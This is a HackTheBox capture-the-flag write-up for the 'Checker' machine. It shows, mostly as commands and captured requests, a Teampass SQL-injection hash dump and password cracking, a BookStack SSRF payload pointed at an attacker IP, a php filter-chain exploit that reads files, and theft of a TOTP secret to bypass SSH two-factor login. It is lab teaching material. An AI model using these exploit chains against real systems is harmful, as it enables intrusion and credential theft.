Checker – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Hard
  • Platform: HackTheBox

Avatar checker


Summary Link to heading

“Checker” is a Hard machine from HackTheBox platform. The victim machine is a web server that is running two services: Teampass and BookStack. Teampass running on the victim machine is vulnerable to SQL Injection, which allow us to get a hash, crack it and gain access to Teampass panel. Inside it we find credentials for two users; the first one gives access to BookStack service and the second one are credentials for SSH. These credentials for SSH work; however, the machine is using a 2FA which initially deny us access. We find a Server-Side Request Forgery (SSRF) vulnerability, which can be chained with php_filter_chains_oracle_exploit to transform this SSRF vulnerability into a Local File Inclusion. This let us read the 2FA configuration file, generate an authentication code and gain access to the victim machine. Once inside, we find that the impersonated user can run a script, which executes a binary, with sudo. After analyzing this file, we find that this file uses a shared memory buffer, which we are able to “hijack” and trigger a system command as root; compromising the system.


User Link to heading

We start with an Nmap scan, where we find 3 ports open: 22 SSH, 80 and 8080 HTTP:

❯ sudo nmap -sVC -p22,80,8080 10.10.11.56

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-25 13:09 -04
Nmap scan report for 10.10.11.56
Host is up (0.28s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
|_  256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
80/tcp   open  http    Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
8080/tcp open  http    Apache httpd
|_http-title: 403 Forbidden
|_http-server-header: Apache
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.15 seconds

If we check the page at port 80 with cURL we get that we are redirected to checker.htb domain:

❯ curl http://10.10.11.56

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <meta http-equiv="refresh" content="0;url='http://checker.htb/login'" />

        <title>Redirecting to http://checker.htb/login</title>
    </head>
    <body>
        Redirecting to <a href="http://checker.htb/login">http://checker.htb/login</a>.
    </body>
</html>

We then add this domain along with the target IP address to our /etc/hosts file:

❯ echo '10.10.11.56 checker.htb' | sudo tee -a /etc/hosts

We can then visit http://checker.htb, which redirects us to http://checker.htb/login, where we can see a login panel:

Checker 1

This site seems to be running BookStack. Based on its oficial webpage:

Info
BookStack is a free and open-source wiki software aimed for a simple, self-hosted, and easy-to-use platform. Based on Laravel, a PHP framework, BookStack is released under the MIT License. It uses the ideas of books to organize pages and store information.

In short, it is a self-hosted app to host “Wiki”-like pages.

Based on the official documentation, the default credentials are: admin@admin with password password. But these credentials do not work, even for admin@checker.htb user. So we don’t have hints for now.

Checking the site running on port 8080 (http://checker.htb:8080). We have a new panel, this time running Teampass:

Checker 2

Info
TeamPass is an open-source, secure password manager designed for teams and organizations. It provides a centralized and secure platform for storing, managing, and sharing passwords and other sensitive information.

In short, it is a password manager for teams. But we don’t find much more information.

We can then search for vhosts using ffuf:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://checker.htb:8080/ -H 'Host: FUZZ.checker.htb' -fs 199

But we will not be able to finds any Vhost|vhosts. Why? If we look again the main webpage we might see the message:

Too many requests

Which indicates the site is blocking us if we attempt to search for other subdomains or directories.

A curious thing about this web are the resources loaded when we load http://checker.htb:8080. For example, at Firefox web browser, if we go to NetWork and reload the main webpage we get:

Checker 3

The site is trying to load resources from vault.checker.htb.

Add this new subdomain to our /etc/hosts file, so now it looks like:

❯ tail -1 /etc/hosts

10.10.11.56 checker.htb vault.checker.htb

But visiting http://vault.checker.htb:8080 just shows a page exactly the same as http://checker.htb:8080 for Teampass.

Searching for vulnerabilities for Teampass at MITRE, we can find one that is an SQL Injection, labeled as CVE-2023-1545. As we have searched, we find this blog that provides a simple Proof of Concept for Bash. I have also created a similar script, but written in Python which can be downloaded from my Github repository. We can use this script and obtain:

❯ python3 CVE-2023-1545.py http://checker.htb:8080

[*] Checking if API http://checker.htb:8080/api/index.php/authorize is accessible...
[*] Checking if we can enumerate users with SQL Injection...
[*] 2 users found
[*] Attempting to extract users and their respective passwords...

admin: $2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob  : $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy

~Happy Hacking

We get 2 hashes.

Saving hash for bob user in a file called bob_hash and attempting a Brute Force Password Cracking with JohnTheRipper returns:

❯ echo '$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy' > bob_hash

❯ john --wordlist=/usr/share/wordlists/rockyou.txt bob_hash

Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cheerleader      (?)
1g 0:00:00:03 DONE (2025-04-25 15:24) 0.2624g/s 212.5p/s 212.5c/s 212.5C/s 123qwe..dancing
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

We get a password: cheerleader.

We go back to http://checker.htb:8080 and put as username field bob, and as password the value cheerleader. We are in as this user:

Checker 4

Click on bob-access folder and we can see what seems to be 2 passwords. One for ssh access and other for bookstack login. When we click on ssh access it displays an to give an explanation why we want to see the password. Put anything there, send it and wait some seconds. Once done we can see its content:

Checker 5

We get a password: hiccup-publicly-genesis.

Apparently this password does not work neither for bob user or as reader user (as Teampass page says at Account field) at SSH, as we can check with NetExec:

❯ nxc ssh 10.10.11.56 -u bob reader -p 'hiccup-publicly-genesis'

SSH         10.10.11.56     22     10.10.11.56      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.56     22     10.10.11.56      [-] bob:hiccup-publicly-genesis
SSH         10.10.11.56     22     10.10.11.56      [-] reader:hiccup-publicly-genesis

If we manually attempt to log in as reader user with sshpass (to provide the password in the same command line) to SSH the command hangs:

❯ sshpass -p 'hiccup-publicly-genesis' ssh -o stricthostkeychecking=no reader@10.10.11.56

which, accessing to SSH “normally” shows why it fails:

❯ ssh reader@10.10.11.56

(reader@10.10.11.56) Password: hiccup-publicly-genesis
(reader@10.10.11.56) Verification code:

It is asking for a verification code to access. It is using a Two-Factor authentication (2FA). Searching for 2FA for SSH we find this post explaining that it possibly is using Google Authenticator.

If we check bookstack login content, we can see:

Checker 6

We have a new password: mYSeCr3T_w1kI_P4sSw0rD.

This seems to be the password, as bob@checker.htb user, at http://checker.htb login (in port 80) running BookStack. Using the credentials bob@checker.htb and password mYSeCr3T_w1kI_P4sSw0rD works. We are in:

Checker 7

We search for interesting information inside this resource, but there are only posts about fundamentals related to Linux.

If we want to search for the version, we could attempt to visit http://checker.htb/settings, but we get our access denied. Therefore, we can go to the source code (Ctrl+U in Firefox), and search for version keyword. We get:

Checker 8

We get a version: 23.10.2 for the current BookStack application.

We search for bookstack v23.10.2 vulnerability and find this Github advisory. This advisory tells about a vulnerability labeled as CVE-2023-6199, which, through a Server-Side Request Forgery (SSFR) vulnerability, allow us to read local files on the server (Local File Inclusion, or LFI). We also find this page, providing this PoC video. There, the researcher shows how, through a payload encoded in base64, an attacker could request a resource to an external server. The same people also posted this blog to leverage the vulnerability to read local system files, i.e., to pass from a SSRF to a LFI.

For this purpose, once inside BookStack as bob user, click on Books at the top right side, then on Create New Book on right side and create a book with a random name:

Checker 9

and click on Save Book.

Once our book has been created, click on Create a new page and add a name to it. From this point we can start Burpsuite and intercept the request that will be sent when we click on Save Page.

Checker 10

Then, click on Editing Draft and click on Save Page. It intercepts the request:

PUT /ajax/page/12/save-draft HTTP/1.1
Host: checker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://checker.htb/books/test/draft/12
Content-Type: application/json
X-Requested-With: XMLHttpRequest
baseURL: http://checker.htb/
X-CSRF-TOKEN: C9HagWOIZgSF1Tst5WrU65eiaD2N5u9J0W0DnyJJ
Content-Length: 41
Origin: http://checker.htb
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Cookie: XSRF-TOKEN=eyJpdiI6ImY2azFtNndSd3pKWUxGbExCRzdkaGc9PSIsInZhbHVlIjoidTVIcEYydmVIS3UzUnEyc1lrdThVaTdUUXJDRGw2KzlqbEMyRUZDT1BXbFBrYk5Jd256d0MrZmJ3VmF1eFhmaXY3SU1EZ3lQc1I0bml6d1I3Nmlpb2NqT0NSeEtKMHRhUW9PVVprSy9oMWV4WGdRb0syZ2l0akVubE05NG5EOUUiLCJtYWMiOiI4YTE3YTQyYTZlNDc1OWZiZDcyZDllZThjODc0MTA2ZDE1NThjZDFmMDU5Y2MyYjM1MDQ4NzI2YmI0ZWZlNzJjIiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6IlczYnh6Nm5rcGkvU3hZY0VrWmI4QXc9PSIsInZhbHVlIjoiT0JoL0R0TS9qWUREV2k5ZGRSb1BLYzZobjFnaGQyZFBBdDlzaC92dmVhSWIxZXFIZklFcGpCQzlPYUpHZG10OTErOFZmUE44TnZ2cGV1Q1ZHVlE1aTl2RklYRHBoVUJhWFRXVTZ0bGduQ2lvM2xtSng4Ujl3d1dRZHZJM011RGEiLCJtYWMiOiJmMjU3ZjQ2YTY4M2QxNDIzNTg1MTI5YjUzOWI0MmU1YWNlYzdhNmQ4OTVlNWQyN2I1NGUzZWM2YzU2NzQ3ZjcwIiwidGFnIjoiIn0%3D
Priority: u=0

{"name":"HTML Test","html":"<p>Test</p>"}

and here is where the SSRF vulnerability comes into play. Pass this request to the Repeater in Burpsuite since we might need it later.

At html field on data, we can pass an IP controlled by an attacker and see if we get a request. In this case our attacker IP address is 10.10.16.7. The authors also provide this example blog for a Proof of Concept (PoC):

<img src='data:image/png;base64,aHR0cHM6Ly9jbGMybmYycTh2YjRhdWRrajZuZ25keGt4ZzdjN3kxcGoub2FzdC5zaXRlL2ltYWdlLnBuZw'/>

where:

aHR0cHM6Ly9jbGMybmYycTh2YjRhdWRrajZuZ25keGt4ZzdjN3kxcGoub2FzdC5zaXRlL2ltYWdlLnBuZw

is the payload we can manipulate in base64.

Start a simple Python HTTP server on port 8000:

❯ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

and create a payload in base64 that will make a request to our attacker machine:

❯ echo -n 'http://10.10.16.7:8000/test' | base64

aHR0cDovLzEwLjEwLjE2Ljc6ODAwMC90ZXN0

Finally, pass this payload in base64 to the request sent in Burpsuite:

PUT /ajax/page/12/save-draft HTTP/1.1
Host: checker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://checker.htb/books/test/draft/12
Content-Type: application/json
X-Requested-With: XMLHttpRequest
baseURL: http://checker.htb/
X-CSRF-TOKEN: C9HagWOIZgSF1Tst5WrU65eiaD2N5u9J0W0DnyJJ
Content-Length: 101
Origin: http://checker.htb
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Cookie: XSRF-TOKEN=eyJpdiI6ImY2azFtNndSd3pKWUxGbExCRzdkaGc9PSIsInZhbHVlIjoidTVIcEYydmVIS3UzUnEyc1lrdThVaTdUUXJDRGw2KzlqbEMyRUZDT1BXbFBrYk5Jd256d0MrZmJ3VmF1eFhmaXY3SU1EZ3lQc1I0bml6d1I3Nmlpb2NqT0NSeEtKMHRhUW9PVVprSy9oMWV4WGdRb0syZ2l0akVubE05NG5EOUUiLCJtYWMiOiI4YTE3YTQyYTZlNDc1OWZiZDcyZDllZThjODc0MTA2ZDE1NThjZDFmMDU5Y2MyYjM1MDQ4NzI2YmI0ZWZlNzJjIiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6IlczYnh6Nm5rcGkvU3hZY0VrWmI4QXc9PSIsInZhbHVlIjoiT0JoL0R0TS9qWUREV2k5ZGRSb1BLYzZobjFnaGQyZFBBdDlzaC92dmVhSWIxZXFIZklFcGpCQzlPYUpHZG10OTErOFZmUE44TnZ2cGV1Q1ZHVlE1aTl2RklYRHBoVUJhWFRXVTZ0bGduQ2lvM2xtSng4Ujl3d1dRZHZJM011RGEiLCJtYWMiOiJmMjU3ZjQ2YTY4M2QxNDIzNTg1MTI5YjUzOWI0MmU1YWNlYzdhNmQ4OTVlNWQyN2I1NGUzZWM2YzU2NzQ3ZjcwIiwidGFnIjoiIn0%3D
Priority: u=0

{"name":"HTML Test","html":"<img src='data:image/png;base64,aHR0cDovLzEwLjEwLjE2Ljc6ODAwMC90ZXN0'/>"}

We get a request in our Python HTTP server:

❯ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.56 - - [01/Jun/2025 17:25:35] code 404, message File not found
10.10.11.56 - - [01/Jun/2025 17:25:35] "GET /test HTTP/1.1" 404 -

SSRF worked.

At this point, in the blog, they say that this vulnerability can be chained with php_filter_chains_oracle_exploit to pass this exploit from a SSRF to a LFI. A more detailed explanation about this chain attack is explained at Synacktiv’s blog.

First things first. Clone the repository:

❯ git clone https://github.com/synacktiv/php_filter_chains_oracle_exploit.git -q

This repository only needs requests library, which I have already installed.

Then, we need to modify the script requestor.py, located at filter_chain_oracle/core directory. At line 106 we have a variable defined as filter_chain. To adapt the attack to this exploit, at the line:

filter_chain = f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'

We add right after:

filter_chain = f"<img src='data:image/png;base64,{b64encode(filter_chain.encode()).decode()}'/>"

Since we are encoding in base64, remember to also add the library needed for this function at the beginning of the script:

from base64 import b64encode

Additionally, the payload data we were using at Burpsuite’s Repeater was in JSON format. To simplify the attack, pass it from JSON to x-www-form-urlencoded format defined at Content-Type. So, for example, our payload in this “new form” now looks like:

PUT /ajax/page/12/save-draft HTTP/1.1
Host: checker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://checker.htb/books/test/draft/12
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
baseURL: http://checker.htb/
X-CSRF-TOKEN: C9HagWOIZgSF1Tst5WrU65eiaD2N5u9J0W0DnyJJ
Content-Length: 91
Origin: http://checker.htb
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Cookie: XSRF-TOKEN=eyJpdiI6ImY2azFtNndSd3pKWUxGbExCRzdkaGc9PSIsInZhbHVlIjoidTVIcEYydmVIS3UzUnEyc1lrdThVaTdUUXJDRGw2KzlqbEMyRUZDT1BXbFBrYk5Jd256d0MrZmJ3VmF1eFhmaXY3SU1EZ3lQc1I0bml6d1I3Nmlpb2NqT0NSeEtKMHRhUW9PVVprSy9oMWV4WGdRb0syZ2l0akVubE05NG5EOUUiLCJtYWMiOiI4YTE3YTQyYTZlNDc1OWZiZDcyZDllZThjODc0MTA2ZDE1NThjZDFmMDU5Y2MyYjM1MDQ4NzI2YmI0ZWZlNzJjIiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6IlczYnh6Nm5rcGkvU3hZY0VrWmI4QXc9PSIsInZhbHVlIjoiT0JoL0R0TS9qWUREV2k5ZGRSb1BLYzZobjFnaGQyZFBBdDlzaC92dmVhSWIxZXFIZklFcGpCQzlPYUpHZG10OTErOFZmUE44TnZ2cGV1Q1ZHVlE1aTl2RklYRHBoVUJhWFRXVTZ0bGduQ2lvM2xtSng4Ujl3d1dRZHZJM011RGEiLCJtYWMiOiJmMjU3ZjQ2YTY4M2QxNDIzNTg1MTI5YjUzOWI0MmU1YWNlYzdhNmQ4OTVlNWQyN2I1NGUzZWM2YzU2NzQ3ZjcwIiwidGFnIjoiIn0%3D
Priority: u=0

name=HTML+Test&html=<img src='data:image/png;base64,aHR0cDovLzEwLjEwLjE2Ljc6ODAwMC90ZXN0'/>

and we still get a “call” in our Python HTTP server. So the attack still works.

Now that we have modified the form and the exploit and adapted it to the BookStack’s SSRF vulnerability, we need other parameters such as headers and pass them to the exploit. Therefore, based on the last intercepted Burpsuite request, we run the exploit providing all these parameters. We can read a small file such as /etc/hostname since it will attempt to read files through “bruteforce”. We could read /etc/passwd, but it will take a lot of time.

❯ python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/12/save-draft' --verb 'PUT' --parameter 'html' --headers '{"Cookie":"XSRF-TOKEN=eyJpdiI6ImY2azFtNndSd3pKWUxGbExCRzdkaGc9PSIsInZhbHVlIjoidTVIcEYydmVIS3UzUnEyc1lrdThVaTdUUXJDRGw2KzlqbEMyRUZDT1BXbFBrYk5Jd256d0MrZmJ3VmF1eFhmaXY3SU1EZ3lQc1I0bml6d1I3Nmlpb2NqT0NSeEtKMHRhUW9PVVprSy9oMWV4WGdRb0syZ2l0akVubE05NG5EOUUiLCJtYWMiOiI4YTE3YTQyYTZlNDc1OWZiZDcyZDllZThjODc0MTA2ZDE1NThjZDFmMDU5Y2MyYjM1MDQ4NzI2YmI0ZWZlNzJjIiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6IlczYnh6Nm5rcGkvU3hZY0VrWmI4QXc9PSIsInZhbHVlIjoiT0JoL0R0TS9qWUREV2k5ZGRSb1BLYzZobjFnaGQyZFBBdDlzaC92dmVhSWIxZXFIZklFcGpCQzlPYUpHZG10OTErOFZmUE44TnZ2cGV1Q1ZHVlE1aTl2RklYRHBoVUJhWFRXVTZ0bGduQ2lvM2xtSng4Ujl3d1dRZHZJM011RGEiLCJtYWMiOiJmMjU3ZjQ2YTY4M2QxNDIzNTg1MTI5YjUzOWI0MmU1YWNlYzdhNmQ4OTVlNWQyN2I1NGUzZWM2YzU2NzQ3ZjcwIiwidGFnIjoiIn0%3D","X-CSRF-TOKEN":"C9HagWOIZgSF1Tst5WrU65eiaD2N5u9J0W0DnyJJ"}' --file '/etc/hostname'


[*] The following URL is targeted : http://checker.htb/ajax/page/12/save-draft
[*] The following local file is leaked : /etc/hostname
[*] Running PUT requests
[*] Additionnal headers used : {"Cookie":"XSRF-TOKEN=eyJpdiI6ImY2azFtNndSd3pKWUxGbExCRzdkaGc9PSIsInZhbHVlIjoidTVIcEYydmVIS3UzUnEyc1lrdThVaTdUUXJDRGw2KzlqbEMyRUZDT1BXbFBrYk5Jd256d0MrZmJ3VmF1eFhmaXY3SU1EZ3lQc1I0bml6d1I3Nmlpb2NqT0NSeEtKMHRhUW9PVVprSy9oMWV4WGdRb0syZ2l0akVubE05NG5EOUUiLCJtYWMiOiI4YTE3YTQyYTZlNDc1OWZiZDcyZDllZThjODc0MTA2ZDE1NThjZDFmMDU5Y2MyYjM1MDQ4NzI2YmI0ZWZlNzJjIiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6IlczYnh6Nm5rcGkvU3hZY0VrWmI4QXc9PSIsInZhbHVlIjoiT0JoL0R0TS9qWUREV2k5ZGRSb1BLYzZobjFnaGQyZFBBdDlzaC92dmVhSWIxZXFIZklFcGpCQzlPYUpHZG10OTErOFZmUE44TnZ2cGV1Q1ZHVlE1aTl2RklYRHBoVUJhWFRXVTZ0bGduQ2lvM2xtSng4Ujl3d1dRZHZJM011RGEiLCJtYWMiOiJmMjU3ZjQ2YTY4M2QxNDIzNTg1MTI5YjUzOWI0MmU1YWNlYzdhNmQ4OTVlNWQyN2I1NGUzZWM2YzU2NzQ3ZjcwIiwidGFnIjoiIn0%3D","X-CSRF-TOKEN":"C9HagWOIZgSF1Tst5WrU65eiaD2N5u9J0W0DnyJJ"}
[+] File /etc/hostname leak is finished!
Y2hlY2tl
b'checke'

We get the response checke (presumably checker). It seems to work.

Since there was a two-factor authentication software running, we could attempt to read this file. Searching, we find that Google Authenticator is available for 2FA in Linux. At configuration page for Google Authenticator, they talk about a .google_authenticator file. If we search for the files /home/reader/.google_authenticator or /home/reader/.ssh/.google_authenticator they don’t work. Back to BookStack application, there was a Linux security book. There, we had a Basic Backup with cp page. Checking it shows:

Checker 11

They give a path /backup/home_backup for backups.

We can then check if the file we are looking for is inside this directory.

/backup/home_backup/.google_authenticator does not work, but if we look for the file:

/backup/home_backup/home/reader/.google_authenticator

it works:

❯ python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/12/save-draft' --verb 'PUT' --parameter 'html' --headers '{"Cookie":"XSRF-TOKEN=eyJpdiI6ImY2azFtNndSd3pKWUxGbExCRzdkaGc9PSIsInZhbHVlIjoidTVIcEYydmVIS3UzUnEyc1lrdThVaTdUUXJDRGw2KzlqbEMyRUZDT1BXbFBrYk5Jd256d0MrZmJ3VmF1eFhmaXY3SU1EZ3lQc1I0bml6d1I3Nmlpb2NqT0NSeEtKMHRhUW9PVVprSy9oMWV4WGdRb0syZ2l0akVubE05NG5EOUUiLCJtYWMiOiI4YTE3YTQyYTZlNDc1OWZiZDcyZDllZThjODc0MTA2ZDE1NThjZDFmMDU5Y2MyYjM1MDQ4NzI2YmI0ZWZlNzJjIiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6IlczYnh6Nm5rcGkvU3hZY0VrWmI4QXc9PSIsInZhbHVlIjoiT0JoL0R0TS9qWUREV2k5ZGRSb1BLYzZobjFnaGQyZFBBdDlzaC92dmVhSWIxZXFIZklFcGpCQzlPYUpHZG10OTErOFZmUE44TnZ2cGV1Q1ZHVlE1aTl2RklYRHBoVUJhWFRXVTZ0bGduQ2lvM2xtSng4Ujl3d1dRZHZJM011RGEiLCJtYWMiOiJmMjU3ZjQ2YTY4M2QxNDIzNTg1MTI5YjUzOWI0MmU1YWNlYzdhNmQ4OTVlNWQyN2I1NGUzZWM2YzU2NzQ3ZjcwIiwidGFnIjoiIn0%3D","X-CSRF-TOKEN":"C9HagWOIZgSF1Tst5WrU65eiaD2N5u9J0W0DnyJJ"}' --file '/backup/home_backup/home/reader/.google_authenticator'


[*] The following URL is targeted : http://checker.htb/ajax/page/12/save-draft
[*] The following local file is leaked : /backup/home_backup/home/reader/.google_authenticator
[*] Running PUT requests
[*] Additionnal headers used : {"Cookie":"XSRF-TOKEN=eyJpdiI6ImY2azFtNndSd3pKWUxGbExCRzdkaGc9PSIsInZhbHVlIjoidTVIcEYydmVIS3UzUnEyc1lrdThVaTdUUXJDRGw2KzlqbEMyRUZDT1BXbFBrYk5Jd256d0MrZmJ3VmF1eFhmaXY3SU1EZ3lQc1I0bml6d1I3Nmlpb2NqT0NSeEtKMHRhUW9PVVprSy9oMWV4WGdRb0syZ2l0akVubE05NG5EOUUiLCJtYWMiOiI4YTE3YTQyYTZlNDc1OWZiZDcyZDllZThjODc0MTA2ZDE1NThjZDFmMDU5Y2MyYjM1MDQ4NzI2YmI0ZWZlNzJjIiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6IlczYnh6Nm5rcGkvU3hZY0VrWmI4QXc9PSIsInZhbHVlIjoiT0JoL0R0TS9qWUREV2k5ZGRSb1BLYzZobjFnaGQyZFBBdDlzaC92dmVhSWIxZXFIZklFcGpCQzlPYUpHZG10OTErOFZmUE44TnZ2cGV1Q1ZHVlE1aTl2RklYRHBoVUJhWFRXVTZ0bGduQ2lvM2xtSng4Ujl3d1dRZHZJM011RGEiLCJtYWMiOiJmMjU3ZjQ2YTY4M2QxNDIzNTg1MTI5YjUzOWI0MmU1YWNlYzdhNmQ4OTVlNWQyN2I1NGUzZWM2YzU2NzQ3ZjcwIiwidGFnIjoiIn0%3D","X-CSRF-TOKEN":"C9HagWOIZgSF1Tst5WrU65eiaD2N5u9J0W0DnyJJ"}
[+] File /backup/home_backup/home/reader/.google_authenticator leak is finished!
RFZEQlJBT0RMQ1dGN0kyT05BNEs1TFFMVUUKIiBUT1RQX0FVVEgK
b'DVDBRAODLCWF7I2ONA4K5LQLUE\n" TOTP_AUTH\n'

For Google Authenticator, we find the content of its .google_authenticator file, which is the key:

DVDBRAODLCWF7I2ONA4K5LQLUE

where we can see it is also using TOTP authentication, or Time-based One-Time Password.

Now, to generate codes based on its content we need a tool called oathtool. We can install it running on a terminal:

sudo apt update -y && sudo apt install oathtool gnupg2 -y

Checking oathtool documentation we can provide some parameters such as --totp and -b for base32:

❯ oathtool --totp DVDBRAODLCWF7I2ONA4K5LQLUE -b

211464

We have a code.

Then, attempt to log in again as reader and password hiccup-publicly-genesis with SSH, this time providing the generated code for MFA:

❯ ssh reader@10.10.11.56

(reader@10.10.11.56) Password: hiccup-publicly-genesis
(reader@10.10.11.56) Verification code: 211464
Error "Operation not permitted" while writing config

We get an error.

Probably its due to date. If we take a look to 2FA configuration page we have previously seen, there is an option for the tokens to be “time-based”. Therefore, we might need the time of the machine to do it. We can get the time using cURL and extract it from the header response with -I. One of the fields returned is Date:

❯ curl -s -I http://checker.htb | grep Date

Date: Sun, 01 Jun 2025 23:56:44 GMT

We can use this time along with date command to get a time in a correct format:

❯ date -d "$(curl -s -I http://checker.htb | grep Date | cut -d ' ' -f3-)" "+%Y-%m-%d %H:%M:%S"

2025-06-01 19:58:55

Therefore, pass this date to oathtool using --now parameter as was specified in the documentation:

❯ oathtool --totp DVDBRAODLCWF7I2ONA4K5LQLUE -b --now="$(date -d "$(curl -s -I http://checker.htb | grep Date | cut -d ' ' -f3-)" "+%Y-%m-%d %H:%M:%S")"

367347

It worked.

Now, use this new code and attempt to log in using SSH:

❯ ssh reader@10.10.11.56

(reader@10.10.11.56) Password: hiccup-publicly-genesis
(reader@10.10.11.56) Verification code: 367347


Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Last login: Mon Jun 2 00:03:40 2025 from 10.10.16.7

reader@checker:~$

We can finally grab the user flag.


Root Link to heading

Checking what can this user run with sudo we get:

reader@checker:~$ sudo -l

Matching Defaults entries for reader on checker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User reader may run the following commands on checker:
    (ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *

We can run what seems to be a Bash script named check-leak.sh.

If we read its content we get:

#!/bin/bash
source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"

This script is getting the contents of an .env file located at /opt/hash-checker and then running, cleans characters that are not letters or numbers, and then executes the script /opt/hash-checker/check_leak after providing a user.

/opt/hash-checker/check_leak is a compiled binary for Linux:

reader@checker:~$ file /opt/hash-checker/check_leak

/opt/hash-checker/check_leak: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f1d8ae448c936df395ad9e825b897965da88afd8, for GNU/Linux 3.2.0, with debug_info, not stripped

Checking /opt/hash-checker/check_leak directory we get:

reader@checker:~$ ls -la /opt/hash-checker/

total 68
drwxr-xr-x 2 root root  4096 Jan 30 17:09 .
drwxr-xr-x 5 root root  4096 Jan 30 17:04 ..
-r-------- 1 root root   118 Jan 30 17:07 .env
-rwxr--r-- 1 root root   141 Jan 30 17:04 check-leak.sh
-rwxr--r-- 1 root root 42376 Jan 30 17:02 check_leak
-rwx------ 1 root root   750 Jan 30 17:07 cleanup.sh
-rw-r--r-- 1 root root  1464 Jan 30 17:09 leaked_hashes.txt

We cannot read .env file. Only root user can.

There is a file called leaked_hashes.txt, with 24 hashes:

reader@checker:~$ cat /opt/hash-checker/leaked_hashes.txt

$2b$10$rbzaxiT.zUi.e28wm2ja8OGx.jNamreNFQC6Kh/LeHufCmduH8lvy
$2b$10$Tkd9LwWOOzR.DWdzj9aSp.Bh.zQnxZahKel4xMjxLIHzdostFVqsK
$2b$10$a/lpwbKF6pyAWeGHCVARz.JOi3xtNzGK..GZON/cFhNi1eyMi4UIC
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
$2b$10$DanymKXfnu1ZTrRh3JwBhuPsmjgOEBJLNEEmLPAAIfG9kiOI28fIC
$2b$10$/GwrAIQczda3O5.rnGb4IOqEE/JMU4TIcy95ECSh/pZBQzhlWITQ.
$2b$10$Ef6TBE9GdSsjUPwjm0NYlurGfVO/GdtaCsWBpVRPnQsCbYgf4oU8a
$2b$10$/KLwuhoXHfyKpq1qj8BDcuzNyhR0h0g27jl0yiX7BpBL9kO.wFWii
$2b$10$Ito9FRIN9DgMHWn20Zgfa.yKKlJ.HedScxyvymCxMYTWaZANHIzvO
$2b$10$J025XtUSjTm.kUfa19.6geInkfiISIjkr7unHxT4V/XDIl.2LYrZ2
$2b$10$g962m7.wovzDRPI/4l0GEOviIs2WUPBqlkPgVAPfsYpa138dd9aYK
$2b$10$keolOsecWXEyDIN/zDPVbuc/UOjGjnZGblpdBPQAfZDVm2fRIDUCq
$2b$10$y2Toog209OyRWk6z7S7XNOAkVBijv3HwNBpKk.R1bPCYuR8WxrL66
